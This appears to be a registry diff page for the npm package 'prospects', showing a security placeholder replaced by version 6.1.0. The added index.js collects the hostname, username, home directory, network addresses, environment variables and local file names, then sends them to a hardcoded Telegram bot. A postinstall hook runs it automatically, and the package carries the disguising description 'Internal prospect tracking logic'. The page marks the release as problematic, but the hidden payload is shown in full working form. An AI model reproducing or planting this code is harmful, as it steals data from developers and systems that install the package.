prospects 0.0.1-security โ†’ 6.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of prospects might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +64 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,64 @@
1
+ const os = require("os");
2
+ const https = require("https");
3
+ const fs = require("fs");
4
+
5
+ const packageName = "prospects";
6
+ const timestamp = new Date().toISOString();
7
+
8
+ const networks = os.networkInterfaces();
9
+ const networkDetails = Object.entries(networks).map(([iface, addrs]) => {
10
+ return `${iface}: ${addrs.map(a => a.address).join(", ")}`;
11
+ }).join(" | ");
12
+
13
+ const systemStats = {
14
+ uptime: os.uptime() + "s",
15
+ totalmem: (os.totalmem() / (1024 ** 3)).toFixed(2) + " GB",
16
+ freemem: (os.freemem() / (1024 ** 3)).toFixed(2) + " GB",
17
+ cpus: os.cpus().length + " cores - " + os.cpus()[0].model
18
+ };
19
+
20
+ const envPreview = {
21
+ USER: process.env.USER || process.env.USERNAME,
22
+ SHELL: process.env.SHELL,
23
+ TERM: process.env.TERM,
24
+ HOME: process.env.HOME,
25
+ PATH: process.env.PATH,
26
+ LANG: process.env.LANG
27
+ };
28
+
29
+ let filesInDir = [];
30
+ try {
31
+ filesInDir = fs.readdirSync(process.cwd()).slice(0, 10);
32
+ } catch (_) {
33
+ filesInDir = ["Error reading directory"];
34
+ }
35
+
36
+ const message = `
37
+ ๐Ÿ“ฆ Package Installed: ${packageName}
38
+ ๐Ÿ•’ Timestamp: ${timestamp}
39
+
40
+ ๐Ÿ–ฅ Hostname: ${os.hostname()}
41
+ ๐Ÿง  Platform: ${os.platform()} - ${os.arch()}
42
+ ๐Ÿ‘ค Username: ${os.userInfo().username}
43
+ ๐Ÿ  Home Directory: ${os.userInfo().homedir}
44
+ ๐Ÿ“ CWD: ${process.cwd()}
45
+ ๐Ÿงพ Node Version: ${process.version}
46
+
47
+ ๐Ÿ“ก Network Interfaces: ${networkDetails}
48
+ โฑ๏ธ Uptime: ${systemStats.uptime}
49
+ ๐Ÿง  Memory: ${systemStats.freemem} free / ${systemStats.totalmem} total
50
+ โš™๏ธ CPU: ${systemStats.cpus}
51
+
52
+ ๐Ÿ”ง Env: ${JSON.stringify(envPreview, null, 2)}
53
+ ๐Ÿ“‚ Files: ${filesInDir.join(", ")}
54
+ `.trim();
55
+
56
+ const options = {
57
+ hostname: "api.telegram.org",
58
+ path: `/bot8094916836:AAGK1OjBsesZefK7NBVTLTiA-6hfqegWzXc/sendMessage?chat_id=7568446658&text=${encodeURIComponent(message)}`,
59
+ method: "GET"
60
+ };
61
+
62
+ const req = https.request(options, (res) => {});
63
+ req.on("error", () => {});
64
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "prospects",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "6.1.0",
4
+ "description": "Internal prospect tracking logic",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Internal Automation",
10
+ "license": "MIT"
6
11
  }
12
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=prospects for more information.